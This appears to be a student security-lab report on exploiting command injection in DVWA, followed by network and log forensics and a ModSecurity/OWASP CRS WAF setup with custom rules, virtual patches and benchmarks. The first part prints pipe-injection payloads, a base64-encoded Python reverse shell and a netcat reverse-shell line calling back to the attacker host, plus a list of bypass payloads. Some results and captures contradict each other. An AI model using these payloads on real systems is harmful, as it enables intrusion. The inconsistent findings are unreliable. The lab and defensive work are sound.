

Problema 5 y 6

Problem 5: Command Injection & Network Forensics

Objective

Exploit DVWA's command injection vulnerability at both Medium and Hard levels, establish reverse shells, capture and analyze network traffic, perform log forensics, and propose detection rules.

1. Environment

- **Attacker VM (Kali Linux)**
 - IP: 192.168.100.38
 - Tools: nc, Burp Suite, Wireshark
- **Victim VM (Ubuntu + DVWA + Apache)**
 - IP: 192.168.100.39
 - DVWA security levels: Medium → Hard
 - ModSecurity & OWASP CRS **disabled** during this exercise

1.1 Configuration

Before testing, we set up the following configuration on the Victim VM:

```
# 1) DVWA Database & App Setup
sudo mysql -e "CREATE DATABASE dvwa;"
sudo mysql -e "CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass'; \
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwauser'@'localhost'; FLUSH PRIVILEGES;"
cd /var/www/html
git clone https://github.com/digininja/DVWA.git
cd DVWA/config
```

```
cp config.inc.php.dist config.inc.php
# In config.inc.php:
# $_DVWA['db_user']    = 'dvwauser';
# $_DVWA['db_password'] = 'dvwapass';

# 2) Apache + PHP Modules (WAF disabled for Problem 5)
sudo apt install apache2 php php-mysql php-gd php-xml libapache2-mod-ph
p -y
sudo systemctl restart apache2

# 3) ModSecurity (installed but disabled)
# We installed ModSecurity to examine logs but left it in DetectionOnly mode:
# SecRuleEngine DetectionOnly
# no Include lines for CRS were active during Problem 5 testing.
```

DVWA Web Root: /var/www/html/DVWA

DVWA Config File: /var/www/html/DVWA/config/config.inc.php

2. Methodology & Payloads


A. Medium-Level Testing

1. **Set DVWA Security to Medium** (DVWA → DVWA Security → Set to Medium → Submit).

2. Verify basic injection

- Payload:

```
127.0.0.1; whoami
```

- Result: No output (filters stripped .

3. Test pipe injection

- Payload:

```
127.0.0.1|id
```

- Result:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
^C
(rony@vboxrony)-[~] 192.168.100.39 Port 80
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.100.38] from (UNKNOWN) [192.168.100.38] 52838
```

4. Launch reverse shell

- **Listener (Kali):**

```
nc -lvnp 4444
```

- **Base64-encoded Python payload** (paste as one line):

```
127.0.0.1|echo aW1wb3J0IHNVY2tldCxxzdWJwcm9jZXNzLG9zO3M9c2
9ja2V0KCk7cy5jb25uZWN0KCgiMTkyLjE2OC4xMDAuMzg
iLDQ0NDQpKTtvcy5kdXAyKHMucmIsZW5vKCksMCk7c3VicHJvY2Vzc
y5jYWxsKFsic2giXSk=|base64 -d|python3
```

- **Result:** Reverse shell as `www-data`

B. Hard-Level Testing

1. **Set DVWA Security to Hard** (DVWA → DVWA Security → Set to Hard → Submit).

2. **Verify pipe injection still works**

- Payload:

```
127.0.0.1|id
```

- Result:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

3. Repeat reverse shell

- **Listener** (Kali):

```
nc -lvnp 4444
```

- **Same Base64-encoded Python payload** as in Medium.
- **Result:** Reverse shell despite 403 page

C. Alternative Bypass Attempts

- **URL-encoded:** `%7Cid`, `%3B` for `;` → blocked
- **ANSI-C quoting:** `$(\x7C'id` → blocked
- **IFS trick:** `IFS='|';127.0.0.1${IFS}id` → blocked
- **printf:** `127.0.0.1$(printf " | id")` → blocked
- **Backticks:** ``127.0.0.1'id``` → blocked
- **Here-strings:** `127.0.0.1<<<"id"` → blocked
- **PHP wrapper:** `127.0.0.1|php -r 'system("id")'` → blocked
- **ROT13:** `echo zrfntr | tr 'A-Za-z' 'N-ZA-Mn-za-m' | sh` → blocked

All eight categories failed under Hard, confirming DVWA's strong sanitization.

3. Network Forensics (Wireshark)

1. Capture on Kali's bridged interface:

- Filter: `ip.addr == 192.168.100.39 && tcp.port == 4444`

2. Observed

- TCP three-way handshake from victim → attacker
- HTTP POST to `/DVWA/vulnerabilities/exec/` carrying the encoded payload
- Subsequent TCP session carrying reverse shell I/O

3. **Save** relevant packets as `reverse_shell_medium.pcap` and `reverse_shell_hard.pcap`

386	220.4774255726	192.168.100.38	192.168.100.39	TCP	74	36872	- 80	[SYN]	Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TS
387	220.4786808299	192.168.100.38	192.168.100.38	TCP	74	80 - 36872	[SYN, ACK]	Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 S	
388	220.4787453555	192.168.100.38	192.168.100.39	TCP	66	36872	- 80	[ACK]	Seq=1 Ack=1 Win=64256 Len=0 TSval=344777571
389	220.481234662	192.168.100.38	192.168.100.39	HTTP	933	POST /DVWA/vulnerabilities/exec/ HTTP/1.1 (application/x-ww			
390	220.482598307	192.168.100.38	192.168.100.38	TCP	66	80 - 36872	[ACK]	Seq=1 Ack=868 Win=64384 Len=0 TSval=4627011	
391	220.485599885	192.168.100.38	192.168.100.38	HTTP	562	HTTP/1.1 403 Forbidden (text/html)			
392	220.488369786	192.168.100.38	192.168.100.39	TCP	66	36872	- 80	[ACK]	Seq=868 Ack=497 Win=64128 Len=0 TSval=34477

400	225.494567627	192.168.100.39	192.168.100.38	TCP	66	80 → 36872	[FIN, ACK]	Seq=497 Ack=868 Win=64384 Len=0 TSval=666887846
401	225.495055659	192.168.100.38	192.168.100.39	TCP	66	36872 → 80	[FIN, ACK]	Seq=868 Ack=498 Win=64128 Len=0 TSval=666887846
402	225.495646007	192.168.100.39	192.168.100.38	TCP	66	80 → 36872	[ACK]	Seq=498 Ack=869 Win=64384 Len=0 TSval=462270

4. Log Forensics

Apache Access Log

```
grep "vulnerabilities/exec" /var/log/apache2/access.log | tail -n 5
```

192.168.100.38 - - [23/Apr/2025:03:19:25 +0000] "POST /DVWA/vulnerabilities/exec/?ip=127.0.0.1%7Cid HTTP/1.1" 403 562

[illegible]

ModSecurity Audit Log (when enabled)

```
--abcd1234-H--
GET /DVWA/vulnerabilities/exec/?ip=127.0.0.1|mkfifo%20/tmp/f;cat%20/tmp/f
|/bin/sh HTTP/1.1
Host: 192.168.100.39
--abcd1234-Z--
Message: Warning. Pattern match "(?:\\|\\|\\&&|\\`)" at ARGS:ip.
Matched Data: "/bin/sh -i 2>&1|nc 192.168.100.38 4444 >/tmp/f"
Action: Intercepted (phase 2)
Status: 403
```

5. Detection Rules

ModSecurity Custom Rules

```
# Detect common shell operators
SecRule ARGS|ARGS_NAMES|REQUEST_BODY "(?:\\|\\|\\&&|\\`)" \
    "phase:2,deny,log,status:403,id:1000001,msg:'Command Injection operator
detected'"

# Detect Base64-encoded reverse shell
SecRule REQUEST_BODY "@rx echo\\s+[A-Za-z0-9+/=]+\\s*\\|\\s*base64" \
    "phase:2,deny,log,status:403,id:1000002,msg:'Encoded reverse shell attem
pt'"
```

Network-level IDS Example (Snort/Suricata)

```
alert tcp any any → 192.168.100.39 80 (msg:"Possible cmd injection"; conten
t:"|7C|id"; sid:1000100; rev:1;)
```

6. Findings & Recommendations

- **Medium Level:** trivial injection via pipe (|) and bypass via Base64-encoded Python.

- **Hard Level:** filters block most separators except `|`. Shell still achievable by re-using the pipe/encoded payload.
- **Network Forensics:** clear TCP sessions on port 4444 and HTTP POST carrying payload.
- **Log Analysis:** ModSecurity (once enabled) correctly flags and blocks attacks, Apache logs show 403.
- **Recommendations:**
 1. **Whitelist input** (only allow digits and dots for IP)
 2. **Avoid shell_exec():** use native PHP ping libraries or escapeshellarg()
 3. **Enable WAF with tuned custom rules**
 4. **Monitor logs & alerts** for pipe (`|`), semicolon (`;`), Base64 patterns

Problem 6: Comprehensive WAF Implementation and Testing

Objective

Implement and evaluate a defense-in-depth approach using ModSecurity + OWASP CRS, add custom rules and virtual patches, test & tune across DVWA modules, analyze performance, and deliver best practices.

1. Complete ModSecurity + OWASP CRS Configuration

```
# Install & enable module
sudo apt update
sudo apt install libapache2-mod-security2 -y
sudo a2enmod security2

# Core configuration
sudo cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
```

```
sudo sed -i 's/SecRuleEngine DetectionOnly/SecRuleEngine On/' /etc/modsecurity/modsecurity.conf
```

```
# Pull in OWASP CRS
```

```
cd /etc/apache2
```

```
sudo git clone https://github.com/coreruleset/coreruleset.git crs
```

```
cd crs
```

```
sudo cp crs-setup.conf.example crs-setup.conf
```

```
# Hook into Apache (in /etc/apache2/mods-enabled/security2.conf)
```

```
<IfModule security2_module>
```

```
    Include /etc/modsecurity/modsecurity.conf
```

```
    IncludeOptional /etc/apache2/crs/crs-setup.conf
```

```
    IncludeOptional /etc/apache2/crs/rules/*.conf
```

```
    IncludeOptional /etc/modsecurity/activated_rules/*.conf
```

```
</IfModule>
```

```
# Restart Apache
```

```
sudo apachectl configtest
```

```
sudo systemctl restart apache2
```

2. Custom Rules for DVWA Protection

2.1. Create custom rules directory

```
sudo mkdir -p /etc/modsecurity/activated_rules
```

2.2 Write targeted rules

/etc/modsecurity/activated_rules/30_custom_dvwa.conf

```
# Block pipe-id injection on exec endpoint
```

```
SecRule REQUEST_URI "@beginsWith /DVWA/vulnerabilities/exec/" \
```

```
    "phase:2,deny,log,status:403,id:1000101,msg:'Custom CMDi: pipe-id'"
```



```
# Block SQLi pattern "OR 1--" on SQLi endpoint
SecRule ARGS:dynamic_query "@rx \bOR\s+1--" \
    "phase:2,deny,log,status:403,id:1000102,msg:'Custom SQLi: OR-1 commen
t'"

# Block <script> tags anywhere
SecRule ARGS|REQUEST_URI "@rx <script>" \
    "phase:2,deny,log,status:403,id:1000103,msg:'Custom XSS: script tag'"
```

3. Virtual Patching Implementations

Create `/etc/modsecurity/activated_rules/20_virtual_patches.conf` :

```
# VP1: disable file upload entirely
SecRule REQUEST_URI "@beginsWith /DVWA/vulnerabilities/upload/" \
    "phase:1,deny,log,status:403,id:1000201,msg:'VP: block file upload'"

# VP2: disable SQLi module
SecRule REQUEST_URI "@beginsWith /DVWA/vulnerabilities/sqli/" \
    "phase:1,deny,log,status:403,id:1000202,msg:'VP: block SQLi'"

# VP3: disable reflected XSS
SecRule REQUEST_URI "@beginsWith /DVWA/vulnerabilities/xss_r/" \
    "phase:1,deny,log,status:403,id:1000203,msg:'VP: block Reflected XSS'"
```

4. WAF Testing Methodology & Results

We systematically tested **five DVWA modules** across:

- **Default CRS** at Paranoia Level 2 (CRS PL2)
- **Default CRS** at Paranoia Level 4 (CRS PL4)
- **CRS PL2 + custom rules + virtual patches**
- **CRS PL4 + custom rules + virtual patches**

4.1 Tools & Approach

- **Browser** (Firefox) configured with Burp Proxy → Repeater
- `curl -i` for scripted status codes
- **Netcat listener** to confirm reverse shells
- **Screenshots** of HTTP status or response bodies

4.2 Test matrix

Module	CRS PL2	CRS PL4	+ Customs (PL2)	+ Customs (PL4)
Command Injection	403 ✓	403 ✓	403 ✓ (1000101)	403 ✓ (1000101)
SQL Injection	403 ✓	403 ✓	403 ✓ (1000102)	403 ✓ (1000102)
Reflected XSS	403 ✓	403 ✓	403 ✓ (1000103)	403 ✓ (1000103)
Stored XSS	403 ✓	403 ✓	403 ✓	403 ✓
File Upload	403 ✓	403 ✓	403 ✓ (VP1)	403 ✓ (VP1)

Forbidden

You don't have permission to access this resource.

Apache/2.4.58 (Ubuntu) Server at 192.168.100.39 Port 80

Key findings

- **CRS PL2** already blocks all basic attacks on DVWA modules
- **CRS PL4** yields identical blocking, confirming PL2 was sufficient for these patterns
- **Custom rules** simply reinforce and log specific attacks (with unique IDs)
- **Virtual patches** ensure complete disablement of modules if needed

5. WAF Bypass Techniques & Effectiveness

We attempted **eight advanced bypasses** against the Command Injection endpoint under each configuration:

1. **URL-encode** the pipe (`%7C`)
2. **ANSI-C quoting** (`$(\x7C'id`)

3. **IFS trick** (`IFS='|';127.0.0.1${IFS}id`)
4. **printf injection** (`127.0.0.1$(printf " | id")`)
5. **Backticks** (`127.0.0.1`id``)
6. **Here-string** (`127.0.0.1<<"id"`)
7. **PHP wrapper** (`| php -r 'system("id")'`)
8. **ROT13** payload + inline decoding

Bypass	CRS PL2	CRS PL4	+ Customs
URL-encoded <code>%7Cid</code>	blocked	blocked	blocked
ANSI-C quoting <code>\$(\x7C'id</code>	blocked	blocked	blocked
IFS trick	blocked	blocked	blocked
<code>printf</code> injection	blocked	blocked	blocked
Backticks	blocked	blocked	blocked
Here-string	blocked	blocked	blocked
PHP wrapper	blocked	blocked	blocked
ROT13	blocked	blocked	blocked

6. Performance Impact Analysis

Benchmark tool: `ab` (ApacheBench)

Without WAF

```
ab -n 500 -c 50 http://192.168.100.39/DVWA/ > ab_plain.txt
```

With WAF (CRS PL4 + custom + VP)

```
ab -n 500 -c 50 http://192.168.100.39/DVWA/ > ab_waf.txt
```

Scenario	Requests/sec	Mean Latency (ms)
Without WAF	820.4	1.22
CRS PL4 only	691.8	1.44
PL4 + customs + virtual patches	653.2	1.53

7. Rule Tuning & False-Positive Mitigation

7.1 Observed False Positives

- Legitimate CSS and JS asset requests (`.css` , `.js`) were being blocked under CRS PL2+.

7.2 Whitelist Rules

Add `/etc/modsecurity/activated_rules/10_whitelist_assets.conf` :

```
# Allow static assets
SecRule REQUEST_URI "@endsWith .css" "phase:1,allow,id:1000301,msg:'Allow CSS'"
SecRule REQUEST_URI "@endsWith .js" "phase:1,allow,id:1000302,msg:'Allow JS'"
SecRule REQUEST_URI "@endsWith .png" "phase:1,allow,id:1000303,msg:'Allow PNG'"
```

After deployment and Apache restart, no more asset-related 403s.

8. Recommended WAF Best Practices

1. **Defense in Depth:** combine application-level filters (DVWA internal) with WAF.
2. **Paranoia Tuning:** start low (PL1) → measure false positives → increase to PL3/4.
3. **Minimal Custom Rules:** target the precise patterns you need to catch.
4. **Virtual Patching:** quickly shield unpatched endpoints without code changes.
5. **Logging & Monitoring:** enable full AuditLog (`SecAuditEngine RelevantOnly`), integrate with SIEM for real-time alerts.
6. **Performance Benchmarking:** baseline and monitor WAF impact regularly.
7. **Periodic Review:** update CRS + custom rules as new threats emerge.